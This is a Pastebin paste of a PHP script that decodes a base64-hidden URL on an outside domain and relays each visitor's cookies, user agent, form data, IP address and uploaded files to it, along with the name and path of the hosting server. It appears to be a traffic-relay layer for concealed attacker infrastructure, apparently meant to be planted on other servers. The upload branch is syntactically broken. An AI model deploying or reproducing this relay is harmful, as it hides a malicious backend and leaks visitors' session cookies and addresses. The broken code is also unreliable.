Advertisement
Guest User

Untitled

a guest
Apr 1st, 2015
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.28 KB | None | 0 0
  1. <?php
  2. ///$encoded_url = base64_encode("http://example.com/path/tasks.php")
  3. $url = parse_url(base64_decode("aHR0cDovL25lbi5iaXovdGFza3MucGhw"));
  4.  
  5. if (!isset($url['port'])) {
  6. $url['port'] = 80;
  7. }
  8. if (($real_server = fsockopen($url['host'], $url['port'])) === false) {
  9. die('ERROR');
  10. }
  11.  
  12. $request = "POST {$url['path']} HTTP/1.0\r\n";
  13. $request .= "Host: {$url['host']}\r\n";
  14. $request .= "Cookie: {$_SERVER['HTTP_COOKIE']}\r\n";
  15. $request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
  16. $request .= "Connection: close\r\n";
  17.  
  18. if ($_SERVER["CONTENT_TYPE"] == "application/x-www-form-urlencoded") {
  19. if (($data = file_get_contents('php://input')) === false) {
  20. die('ER_1');
  21. }
  22. $data .= "&ip=" . urlencode($_SERVER['REMOTE_ADDR']) . "&layer=" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . "";
  23.  
  24. $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
  25. $request .= "Content-Length: " . strlen($data) . "\r\n";
  26. fwrite($real_server, $request . "\r\n" . $data);
  27.  
  28. $result = '';
  29. while (!feof($real_server))
  30. $result .= fread($real_server, 1024);
  31. fclose($real_server);
  32. echo substr($result, strpos($result, "\r\n\r\n") + 4);
  33. } else {
  34.  
  35. $filePath = $_FILES['data']['tmp_name'];
  36. $fileName = basename($_FILES['data']['name']);
  37. $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
  38.  
  39. $fileHeaders = "--" . $boundary . "\r\n";
  40. $fileHeaders .= "Content-Disposition: form-data; name=\"data\"; filename=\"" . $fileName . "\"\r\n";
  41. $fileHeaders .= "Content-Type: " . mime_content_type($filePath) . "\r\n\r\n";
  42. $fileHeadersTail = "\r\n--" . $boundary . "--\r\n";
  43.  
  44. $contentLength = strlen($fileHeaders) + filesize($filePath) + strlen($fileHeadersTail);
  45.  
  46. $headers = $request;
  47. $headers .= "Content-type: multipart/form-data, boundary=" . $boundary . "\r\n";
  48. $headers .= "Content-length: " . $contentLength . "\r\n\r\n";
  49. $headers .= $fileHeaders;
  50.  
  51. fputs($real_server, $headers);
  52.  
  53. $fp2 = fopen($filePath, "rb");
  54. while (!feof($fp2)) {
  55. fname = md5(rand(0, 32000);
  56. fputs(DIRNAME(__FILE__).fname, fgets($fp2, 1024 * 100));
  57. #fputs($real_server, fgets($fp2, 1024 * 100));
  58. }
  59. fclose($fp2);
  60. fputs($real_server, $fileHeadersTail);
  61. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement